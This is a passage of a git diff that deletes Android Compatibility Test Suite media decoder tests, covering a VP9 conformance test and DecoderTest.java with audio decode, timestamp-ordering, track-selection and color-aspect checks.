-            throws FileNotFoundException {
-        String tag = MIMETYPE_TO_TAG.get(mime);
-        Preconditions.assertTestFileExists(mInpPrefix + res + "." + tag);
-        File inpFile = new File(mInpPrefix + res + "." + tag);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    private Status decodeTestVector(String mime, String decoderName, String vectorName)
-            throws Exception {
-        AssetFileDescriptor testFd = getAssetFileDescriptorFor(vectorName, mime);
-        mExtractor = new MediaExtractor();
-        mExtractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                testFd.getLength());
-        mExtractor.selectTrack(0);
-
-        mDecoder = MediaCodec.createByCodecName(decoderName);
-        MediaCodecInfo codecInfo = mDecoder.getCodecInfo();
-        MediaCodecInfo.CodecCapabilities caps = codecInfo.getCapabilitiesForType(mime);
-        if (!caps.isFormatSupported(mExtractor.getTrackFormat(0))) {
-            return Status.SKIP;
-        }
-
-        List<String> frameMD5Sums;
-        try {
-            frameMD5Sums = readVectorMD5Sums(mime, vectorName);
-        } catch(Exception e) {
-            Log.e(TAG, "Fail to read " + vectorName + "md5sum file");
-            return Status.FAIL;
-        }
-
-        try {
-            if (MediaUtils.verifyDecoder(mDecoder, mExtractor, frameMD5Sums)) {
-                return Status.PASS;
-            }
-            Log.d(TAG, vectorName + " decoded frames do not match");
-            return Status.FAIL;
-        } finally {
-            release();
-        }
-    }
-
-    void decodeTestVectors(String mime, boolean isGoog) throws Exception {
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, mime);
-        String[] decoderNames = MediaUtils.getDecoderNames(isGoog, format);
-        for (String decoderName: decoderNames) {
-            List<String> testVectors = readCodecTestVectors(mime);
-            for (String vectorName: testVectors) {
-                boolean pass = false;
-                Log.d(TAG, "Decode vector " + vectorName + " with " + decoderName);
-                try {
-                    Status stat = decodeTestVector(mime, decoderName, vectorName);
-                    if (stat == Status.PASS) {
-                        pass = true;
-                    } else if (stat == Status.SKIP) {
-                        release();
-                        continue;
-                    }
-                } catch (Exception e) {
-                    Log.e(TAG, "Decode " + vectorName + " fail");
-                    fail("Received exception " + e);
-                }
-
-                String streamName = "decoder_conformance_test";
-                mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
-                mReportLog.addValue("mime", mime, ResultType.NEUTRAL, ResultUnit.NONE);
-                mReportLog.addValue("is_goog", isGoog, ResultType.NEUTRAL, ResultUnit.NONE);
-                mReportLog.addValue("pass", pass, ResultType.NEUTRAL, ResultUnit.NONE);
-                mReportLog.addValue("vector_name", vectorName, ResultType.NEUTRAL, ResultUnit.NONE);
-                mReportLog.addValue("decode_name", decoderName, ResultType.NEUTRAL,
-                        ResultUnit.NONE);
-                mReportLog.submit(getInstrumentation());
-
-                if (!pass) {
-                    // Release mediacodec in failure or exception cases.
-                    release();
-                }
-            }
-
-        }
-    }
-
-    /**
-     * Test VP9 decoders from vendor.
-     */
-    public void testVP9Other() throws Exception {
-        decodeTestVectors(MediaFormat.MIMETYPE_VIDEO_VP9, false /* isGoog */);
-    }
-
-    /**
-     * Test Google's VP9 decoder from libvpx.
-     */
-    public void testVP9Goog() throws Exception {
-        decodeTestVectors(MediaFormat.MIMETYPE_VIDEO_VP9, true /* isGoog */);
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
deleted file mode 100644
index 83c9ec5..0000000
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ /dev/null
@@ -1,4412 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.graphics.ImageFormat;
-import android.hardware.display.DisplayManager;
-import android.media.AudioTimestamp;
-import android.media.Image;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodecList;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.os.ParcelFileDescriptor;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.view.Display;
-import android.view.Surface;
-import android.net.Uri;
-import android.os.Bundle;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import androidx.test.filters.SdkSuppress;
-
-import java.io.BufferedInputStream;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.time.Duration;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.function.Supplier;
-import java.util.zip.CRC32;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.media.MediaCodecInfo.CodecProfileLevel.*;
-
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "There should be no instant apps specific behavior related to decoders")
-public class DecoderTest extends MediaPlayerTestBase {
-    private static final String TAG = "DecoderTest";
-    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
-    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-
-    private static final int RESET_MODE_NONE = 0;
-    private static final int RESET_MODE_RECONFIGURE = 1;
-    private static final int RESET_MODE_FLUSH = 2;
-    private static final int RESET_MODE_EOS_FLUSH = 3;
-
-    private static final String[] CSD_KEYS = new String[] { "csd-0", "csd-1" };
-
-    private static final int CONFIG_MODE_NONE = 0;
-    private static final int CONFIG_MODE_QUEUE = 1;
-
-    public static final int CODEC_ALL = 0; // All codecs must support
-    public static final int CODEC_ANY = 1; // At least one codec must support
-    public static final int CODEC_DEFAULT = 2; // Default codec must support
-    public static final int CODEC_OPTIONAL = 3; // Codec support is optional
-
-    short[] mMasterBuffer;
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    private MediaCodecTunneledPlayer mMediaCodecPlayer;
-    private static final int SLEEP_TIME_MS = 1000;
-    private static final long PLAY_TIME_MS = TimeUnit.MILLISECONDS.convert(1, TimeUnit.MINUTES);
-
-    private static final String MODULE_NAME = "CtsMediaTestCases";
-    private DynamicConfigDeviceSide dynamicConfig;
-    private DisplayManager mDisplayManager;
-    static final Map<String, String> sDefaultDecoders = new HashMap<>();
-
-    private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        File inpFile = new File(mInpPrefix + res);
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // read primary file into memory
-        AssetFileDescriptor masterFd = getAssetFileDescriptorFor("sinesweepraw.raw");
-        long masterLength = masterFd.getLength();
-        mMasterBuffer = new short[(int) (masterLength / 2)];
-        InputStream is = masterFd.createInputStream();
-        BufferedInputStream bis = new BufferedInputStream(is);
-        for (int i = 0; i < mMasterBuffer.length; i++) {
-            int lo = bis.read();
-            int hi = bis.read();
-            if (hi >= 128) {
-                hi -= 256;
-            }
-            int sample = hi * 256 + lo;
-            mMasterBuffer[i] = (short) sample;
-        }
-        bis.close();
-        masterFd.close();
-
-        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
-        mDisplayManager = (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // ensure MediaCodecPlayer resources are released even if an exception is thrown.
-        if (mMediaCodecPlayer != null) {
-            mMediaCodecPlayer.reset();
-            mMediaCodecPlayer = null;
-        }
-    }
-
-    static boolean isDefaultCodec(String codecName, String mime) throws IOException {
-        if (sDefaultDecoders.containsKey(mime)) {
-            return sDefaultDecoders.get(mime).equalsIgnoreCase(codecName);
-        }
-        MediaCodec codec = MediaCodec.createDecoderByType(mime);
-        boolean isDefault = codec.getName().equalsIgnoreCase(codecName);
-        sDefaultDecoders.put(mime, codec.getName());
-        codec.release();
-
-        return isDefault;
-    }
-
-    // TODO: add similar tests for other audio and video formats
-    public void testBug11696552() throws Exception {
-        MediaCodec mMediaCodec = MediaCodec.createDecoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
-        MediaFormat mFormat = MediaFormat.createAudioFormat(
-                MediaFormat.MIMETYPE_AUDIO_AAC, 48000 /* frequency */, 2 /* channels */);
-        mFormat.setByteBuffer("csd-0", ByteBuffer.wrap( new byte [] {0x13, 0x10} ));
-        mFormat.setInteger(MediaFormat.KEY_IS_ADTS, 1);
-        mMediaCodec.configure(mFormat, null, null, 0);
-        mMediaCodec.start();
-        int index = mMediaCodec.dequeueInputBuffer(250000);
-        mMediaCodec.queueInputBuffer(index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        mMediaCodec.dequeueOutputBuffer(info, 250000);
-    }
-
-    // The allowed errors in the following tests are the actual maximum measured
-    // errors with the standard decoders, plus 10%.
-    // This should allow for some variation in decoders, while still detecting
-    // phase and delay errors, channel swap, etc.
-    public void testDecodeMp3Lame() throws Exception {
-        decode("sinesweepmp3lame.mp3", 804.f);
-        testTimeStampOrdering("sinesweepmp3lame.mp3");
-    }
-    public void testDecodeMp3Smpb() throws Exception {
-        decode("sinesweepmp3smpb.mp3", 413.f);
-        testTimeStampOrdering("sinesweepmp3smpb.mp3");
-    }
-    public void testDecodeM4a() throws Exception {
-        decode("sinesweepm4a.m4a", 124.f);
-        testTimeStampOrdering("sinesweepm4a.m4a");
-    }
-    public void testDecodeOgg() throws Exception {
-        decode("sinesweepogg.ogg", 168.f);
-        testTimeStampOrdering("sinesweepogg.ogg");
-    }
-    public void testDecodeOggMkv() throws Exception {
-        decode("sinesweepoggmkv.mkv", 168.f);
-        testTimeStampOrdering("sinesweepoggmkv.mkv");
-    }
-    public void testDecodeOggMp4() throws Exception {
-        decode("sinesweepoggmp4.mp4", 168.f);
-        testTimeStampOrdering("sinesweepoggmp4.mp4");
-    }
-    public void testDecodeWav() throws Exception {
-        decode("sinesweepwav.wav", 0.0f);
-        testTimeStampOrdering("sinesweepwav.wav");
-    }
-    public void testDecodeWav24() throws Exception {
-        decode("sinesweepwav24.wav", 0.0f);
-        testTimeStampOrdering("sinesweepwav24.wav");
-    }
-    public void testDecodeFlacMkv() throws Exception {
-        decode("sinesweepflacmkv.mkv", 0.0f);
-        testTimeStampOrdering("sinesweepflacmkv.mkv");
-    }
-    public void testDecodeFlac() throws Exception {
-        decode("sinesweepflac.flac", 0.0f);
-        testTimeStampOrdering("sinesweepflac.flac");
-    }
-    public void testDecodeFlac24() throws Exception {
-        decode("sinesweepflac24.flac", 0.0f);
-        testTimeStampOrdering("sinesweepflac24.flac");
-    }
-    public void testDecodeFlacMp4() throws Exception {
-        decode("sinesweepflacmp4.mp4", 0.0f);
-        testTimeStampOrdering("sinesweepflacmp4.mp4");
-    }
-
-    public void testDecodeMonoMp3() throws Exception {
-        monoTest("monotestmp3.mp3", 44100);
-        testTimeStampOrdering("monotestmp3.mp3");
-    }
-
-    public void testDecodeMonoM4a() throws Exception {
-        monoTest("monotestm4a.m4a", 44100);
-        testTimeStampOrdering("monotestm4a.m4a");
-    }
-
-    public void testDecodeMonoOgg() throws Exception {
-        monoTest("monotestogg.ogg", 44100);
-        testTimeStampOrdering("monotestogg.ogg");
-    }
-    public void testDecodeMonoOggMkv() throws Exception {
-        monoTest("monotestoggmkv.mkv", 44100);
-        testTimeStampOrdering("monotestoggmkv.mkv");
-    }
-    public void testDecodeMonoOggMp4() throws Exception {
-        monoTest("monotestoggmp4.mp4", 44100);
-        testTimeStampOrdering("monotestoggmp4.mp4");
-    }
-
-    public void testDecodeMonoGsm() throws Exception {
-        String fileName = "monotestgsm.wav";
-        Preconditions.assertTestFileExists(mInpPrefix + fileName);
-        if (MediaUtils.hasCodecsForResource(mInpPrefix + fileName)) {
-            monoTest(fileName, 8000);
-            testTimeStampOrdering(fileName);
-        } else {
-            MediaUtils.skipTest("not mandatory");
-        }
-    }
-
-    public void testDecodeAacTs() throws Exception {
-        testTimeStampOrdering("sinesweeptsaac.m4a");
-    }
-
-    public void testDecodeVorbis() throws Exception {
-        testTimeStampOrdering("sinesweepvorbis.mkv");
-    }
-    public void testDecodeVorbisMp4() throws Exception {
-        testTimeStampOrdering("sinesweepvorbismp4.mp4");
-    }
-
-    public void testDecodeOpus() throws Exception {
-        testTimeStampOrdering("sinesweepopus.mkv");
-    }
-    public void testDecodeOpusMp4() throws Exception {
-        testTimeStampOrdering("sinesweepopusmp4.mp4");
-    }
-
-    @CddTest(requirement="5.1.3")
-    public void testDecodeG711ChannelsAndRates() throws Exception {
-        String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_G711_ALAW,
-                               MediaFormat.MIMETYPE_AUDIO_G711_MLAW };
-        int[] sampleRates = { 8000 };
-        int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
-                               AudioFormat.CHANNEL_OUT_STEREO,
-                               AudioFormat.CHANNEL_OUT_5POINT1 };
-
-        verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
-    }
-
-    @CddTest(requirement="5.1.3")
-    public void testDecodeOpusChannelsAndRates() throws Exception {
-        String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_OPUS };
-        int[] sampleRates = { 8000, 12000, 16000, 24000, 48000 };
-        int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
-                               AudioFormat.CHANNEL_OUT_STEREO,
-                               AudioFormat.CHANNEL_OUT_5POINT1 };
-
-        verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
-    }
-
-    private void verifyChannelsAndRates(String[] mimetypes, int[] sampleRates,
-                                       int[] channelMasks) throws Exception {
-
-        if (!MediaUtils.check(mIsAtLeastR, "test invalid before Android 11")) return;
-
-        for (String mimetype : mimetypes) {
-            // ensure we find a codec for all listed mime/channel/rate combinations
-            MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-            for (int sampleRate : sampleRates) {
-                for (int channelMask : channelMasks) {
-                    int channelCount = AudioFormat.channelCountFromOutChannelMask(channelMask);
-                    MediaFormat desiredFormat = MediaFormat.createAudioFormat(
-                                mimetype,
-                                sampleRate,
-                                channelCount);
-                    String codecname = mcl.findDecoderForFormat(desiredFormat);
-
-                    assertTrue("findDecoderForFormat() failed for mime=" + mimetype
-                               + " sampleRate=" + sampleRate + " channelCount=" + channelCount,
-                               codecname != null);
-                }
-            }
-
-            // check all mime-matching codecs successfully configure the desired rate/channels
-            ArrayList<MediaCodecInfo> codecInfoList = getDecoderMediaCodecInfoList(mimetype);
-            if (codecInfoList == null) {
-                continue;
-            }
-            for (MediaCodecInfo codecInfo : codecInfoList) {
-                MediaCodec codec = MediaCodec.createByCodecName(codecInfo.getName());
-                for (int sampleRate : sampleRates) {
-                    for (int channelMask : channelMasks) {
-                        int channelCount = AudioFormat.channelCountFromOutChannelMask(channelMask);
-
-                        codec.reset();
-                        MediaFormat desiredFormat = MediaFormat.createAudioFormat(
-                                mimetype,
-                                sampleRate,
-                                channelCount);
-                        codec.configure(desiredFormat, null, null, 0);
-                        codec.start();
-
-                        Log.d(TAG, "codec: " + codecInfo.getName() +
-                                " sample rate: " + sampleRate +
-                                " channelcount:" + channelCount);
-
-                        MediaFormat actual = codec.getInputFormat();
-                        int actualChannels = actual.getInteger(MediaFormat.KEY_CHANNEL_COUNT, -1);
-                        int actualSampleRate = actual.getInteger(MediaFormat.KEY_SAMPLE_RATE, -1);
-                        assertTrue("channels: configured " + actualChannels +
-                                   " != desired " + channelCount, actualChannels == channelCount);
-                        assertTrue("sample rate: configured " + actualSampleRate +
-                                   " != desired " + sampleRate, actualSampleRate == sampleRate);
-                    }
-                }
-                codec.release();
-            }
-        }
-    }
-
-    private ArrayList<MediaCodecInfo> getDecoderMediaCodecInfoList(String mimeType) {
-        MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        ArrayList<MediaCodecInfo> decoderInfos = new ArrayList<MediaCodecInfo>();
-        for (MediaCodecInfo codecInfo : mediaCodecList.getCodecInfos()) {
-            if (!codecInfo.isEncoder() && isMimeTypeSupported(codecInfo, mimeType)) {
-                decoderInfos.add(codecInfo);
-            }
-        }
-        return decoderInfos;
-    }
-
-    private boolean isMimeTypeSupported(MediaCodecInfo codecInfo, String mimeType) {
-        for (String type : codecInfo.getSupportedTypes()) {
-            if (type.equalsIgnoreCase(mimeType)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    public void testDecode51M4a() throws Exception {
-        for (String codecName : codecsFor("sinesweep51m4a.m4a")) {
-            decodeToMemory(codecName, "sinesweep51m4a.m4a", RESET_MODE_NONE, CONFIG_MODE_NONE, -1,
-                    null);
-        }
-    }
-
-    private void testTimeStampOrdering(final String res) throws Exception {
-        for (String codecName : codecsFor(res)) {
-            List<Long> timestamps = new ArrayList<Long>();
-            decodeToMemory(codecName, res, RESET_MODE_NONE, CONFIG_MODE_NONE, -1, timestamps);
-            Long lastTime = Long.MIN_VALUE;
-            for (int i = 0; i < timestamps.size(); i++) {
-                Long thisTime = timestamps.get(i);
-                assertTrue(codecName + ": timetravel occurred: " + lastTime + " > " + thisTime,
-                       thisTime >= lastTime);
-                lastTime = thisTime;
-            }
-        }
-    }
-
-    public void testTrackSelection() throws Exception {
-        testTrackSelection("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-        testTrackSelection(
-                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4");
-        testTrackSelection(
-                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_dash.mp4");
-    }
-
-    public void testTrackSelectionMkv() throws Exception {
-        Log.d(TAG, "testTrackSelectionMkv!!!!!! ");
-        testTrackSelection("mkv_avc_adpcm_ima.mkv");
-        Log.d(TAG, "mkv_avc_adpcm_ima finished!!!!!! ");
-        testTrackSelection("mkv_avc_adpcm_ms.mkv");
-        Log.d(TAG, "mkv_avc_adpcm_ms finished!!!!!! ");
-        testTrackSelection("mkv_avc_wma.mkv");
-        Log.d(TAG, "mkv_avc_wma finished!!!!!! ");
-        testTrackSelection("mkv_avc_mp2.mkv");
-        Log.d(TAG, "mkv_avc_mp2 finished!!!!!! ");
-    }
-
-    public void testBFrames() throws Exception {
-        int testsRun =
-            testBFrames("video_h264_main_b_frames.mp4") +
-            testBFrames("video_h264_main_b_frames_frag.mp4");
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no codec found");
-        }
-    }
-
-    public int testBFrames(final String res) throws Exception {
-        MediaExtractor ex = new MediaExtractor();
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        ex.setDataSource(mInpPrefix + res);
-        MediaFormat format = ex.getTrackFormat(0);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        assertTrue("not a video track. Wrong test file?", mime.startsWith("video/"));
-        if (!MediaUtils.canDecode(format)) {
-            ex.release();
-            return 0; // skip
-        }
-        MediaCodec dec = MediaCodec.createDecoderByType(mime);
-        Surface s = getActivity().getSurfaceHolder().getSurface();
-        dec.configure(format, s, null, 0);
-        dec.start();
-        ByteBuffer[] buf = dec.getInputBuffers();
-        ex.selectTrack(0);
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        long lastPresentationTimeUsFromExtractor = -1;
-        long lastPresentationTimeUsFromDecoder = -1;
-        boolean inputoutoforder = false;
-        while(true) {
-            int flags = ex.getSampleFlags();
-            long time = ex.getSampleTime();
-            if (time >= 0 && time < lastPresentationTimeUsFromExtractor) {
-                inputoutoforder = true;
-            }
-            lastPresentationTimeUsFromExtractor = time;
-            int bufidx = dec.dequeueInputBuffer(5000);
-            if (bufidx >= 0) {
-                int n = ex.readSampleData(buf[bufidx], 0);
-                if (n < 0) {
-                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                    time = 0;
-                    n = 0;
-                }
-                dec.queueInputBuffer(bufidx, 0, n, time, flags);
-                ex.advance();
-            }
-            int status = dec.dequeueOutputBuffer(info, 5000);
-            if (status >= 0) {
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    break;
-                }
-                assertTrue("out of order timestamp from decoder",
-                        info.presentationTimeUs > lastPresentationTimeUsFromDecoder);
-                dec.releaseOutputBuffer(status, true);
-                lastPresentationTimeUsFromDecoder = info.presentationTimeUs;
-            }
-        }
-        assertTrue("extractor timestamps were ordered, wrong test file?", inputoutoforder);
-        dec.release();
-        ex.release();
-        return 1;
-      }
-
-    /**
-     * Test ColorAspects of all the AVC decoders. Decoders should handle
-     * the colors aspects presented in both the mp4 atom 'colr' and VUI
-     * in the bitstream correctly. The following table lists the color
-     * aspects contained in the color box and VUI for the test stream.
-     * P = primaries, T = transfer, M = coeffs, R = range. '-' means
-     * empty value.
-     *                                      |     colr     |    VUI
-     * -------------------------------------------------------------------
-     *         File Name                    |  P  T  M  R  |  P  T  M  R
-     * -------------------------------------------------------------------
-     *  color_176x144_bt709_lr_sdr_h264     |  1  1  1  0  |  -  -  -  -
-     *  color_176x144_bt601_625_fr_sdr_h264 |  1  6  6  0  |  5  2  2  1
-     *  color_176x144_bt601_525_lr_sdr_h264 |  6  5  4  0  |  2  6  6  0
-     *  color_176x144_srgb_lr_sdr_h264      |  2  0  2  1  |  1  13 1  0
-     */
-    public void testH264ColorAspects() throws Exception {
-        testColorAspects(
-                "color_176x144_bt709_lr_sdr_h264.mp4", 1 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_bt601_625_fr_sdr_h264.mp4", 2 /* testId */,
-                MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_PAL,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_bt601_525_lr_sdr_h264.mp4", 3 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_srgb_lr_sdr_h264.mp4", 4 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
-                2 /* MediaFormat.COLOR_TRANSFER_SRGB */);
-    }
-
-    /**
-     * Test ColorAspects of all the HEVC decoders. Decoders should handle
-     * the colors aspects presented in both the mp4 atom 'colr' and VUI
-     * in the bitstream correctly. The following table lists the color
-     * aspects contained in the color box and VUI for the test stream.
-     * P = primaries, T = transfer, M = coeffs, R = range. '-' means
-     * empty value.
-     *                                      |     colr     |    VUI
-     * -------------------------------------------------------------------
-     *         File Name                    |  P  T  M  R  |  P  T  M  R
-     * -------------------------------------------------------------------
-     *  color_176x144_bt709_lr_sdr_h265     |  1  1  1  0  |  -  -  -  -
-     *  color_176x144_bt601_625_fr_sdr_h265 |  1  6  6  0  |  5  2  2  1
-     *  color_176x144_bt601_525_lr_sdr_h265 |  6  5  4  0  |  2  6  6  0
-     *  color_176x144_srgb_lr_sdr_h265      |  2  0  2  1  |  1  13 1  0
-     */
-    public void testH265ColorAspects() throws Exception {
-        testColorAspects(
-                "color_176x144_bt709_lr_sdr_h265.mp4", 1 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_bt601_625_fr_sdr_h265.mp4", 2 /* testId */,
-                MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_PAL,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_bt601_525_lr_sdr_h265.mp4", 3 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_srgb_lr_sdr_h265.mp4", 4 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
-                2 /* MediaFormat.COLOR_TRANSFER_SRGB */);
-        // Test the main10 streams with surface as the decoder might
-        // support opaque buffers only.
-        testColorAspects(
-                "color_176x144_bt2020_lr_smpte2084_h265.mp4", 5 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT2020,
-                MediaFormat.COLOR_TRANSFER_ST2084,
-                getActivity().getSurfaceHolder().getSurface());
-        testColorAspects(
-                "color_176x144_bt2020_lr_hlg_h265.mp4", 6 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT2020,
-                MediaFormat.COLOR_TRANSFER_HLG,
-                getActivity().getSurfaceHolder().getSurface());
-    }
-
-    /**
-     * Test ColorAspects of all the MPEG2 decoders if avaiable. Decoders should
-     * handle the colors aspects presented in both the mp4 atom 'colr' and Sequence
-     * in the bitstream correctly. The following table lists the color aspects
-     * contained in the color box and SeqInfo for the test stream.
-     * P = primaries, T = transfer, M = coeffs, R = range. '-' means
-     * empty value.
-     *                                       |     colr     |    SeqInfo
-     * -------------------------------------------------------------------
-     *         File Name                     |  P  T  M  R  |  P  T  M  R
-     * -------------------------------------------------------------------
-     *  color_176x144_bt709_lr_sdr_mpeg2     |  1  1  1  0  |  -  -  -  -
-     *  color_176x144_bt601_625_lr_sdr_mpeg2 |  1  6  6  0  |  5  2  2  0
-     *  color_176x144_bt601_525_lr_sdr_mpeg2 |  6  5  4  0  |  2  6  6  0
-     *  color_176x144_srgb_lr_sdr_mpeg2      |  2  0  2  0  |  1  13 1  0
-     */
-    public void testMPEG2ColorAspectsTV() throws Exception {
-        testColorAspects(
-                "color_176x144_bt709_lr_sdr_mpeg2.mp4", 1 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_bt601_625_lr_sdr_mpeg2.mp4", 2 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_PAL,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_bt601_525_lr_sdr_mpeg2.mp4", 3 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-        testColorAspects(
-                "color_176x144_srgb_lr_sdr_mpeg2.mp4", 4 /* testId */,
-                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
-                2 /* MediaFormat.COLOR_TRANSFER_SRGB */);
-    }
-
-    private void testColorAspects(
-            final String res, int testId, int expectRange, int expectStandard, int expectTransfer)
-            throws Exception {
-        testColorAspects(
-                res, testId, expectRange, expectStandard, expectTransfer, null /*surface*/);
-    }
-
-    private void testColorAspects(
-            final String res, int testId, int expectRange, int expectStandard, int expectTransfer,
-            Surface surface) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaFormat format = MediaUtils.getTrackFormatForResource(mInpPrefix + res, "video");
-        MediaFormat mimeFormat = new MediaFormat();
-        mimeFormat.setString(MediaFormat.KEY_MIME, format.getString(MediaFormat.KEY_MIME));
-
-        for (String decoderName: MediaUtils.getDecoderNames(mimeFormat)) {
-            if (!MediaUtils.supports(decoderName, format)) {
-                MediaUtils.skipTest(decoderName + " cannot play resource " + mInpPrefix + res);
-            } else {
-                testColorAspects(decoderName, res, testId,
-                        expectRange, expectStandard, expectTransfer, surface);
-            }
-        }
-    }
-
-    private void testColorAspects(
-            String decoderName, final String res, int testId, int expectRange,
-            int expectStandard, int expectTransfer, Surface surface) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaExtractor ex = new MediaExtractor();
-        ex.setDataSource(mInpPrefix + res);
-        MediaFormat format = ex.getTrackFormat(0);
-        MediaCodec dec = MediaCodec.createByCodecName(decoderName);
-        dec.configure(format, surface, null, 0);
-        dec.start();
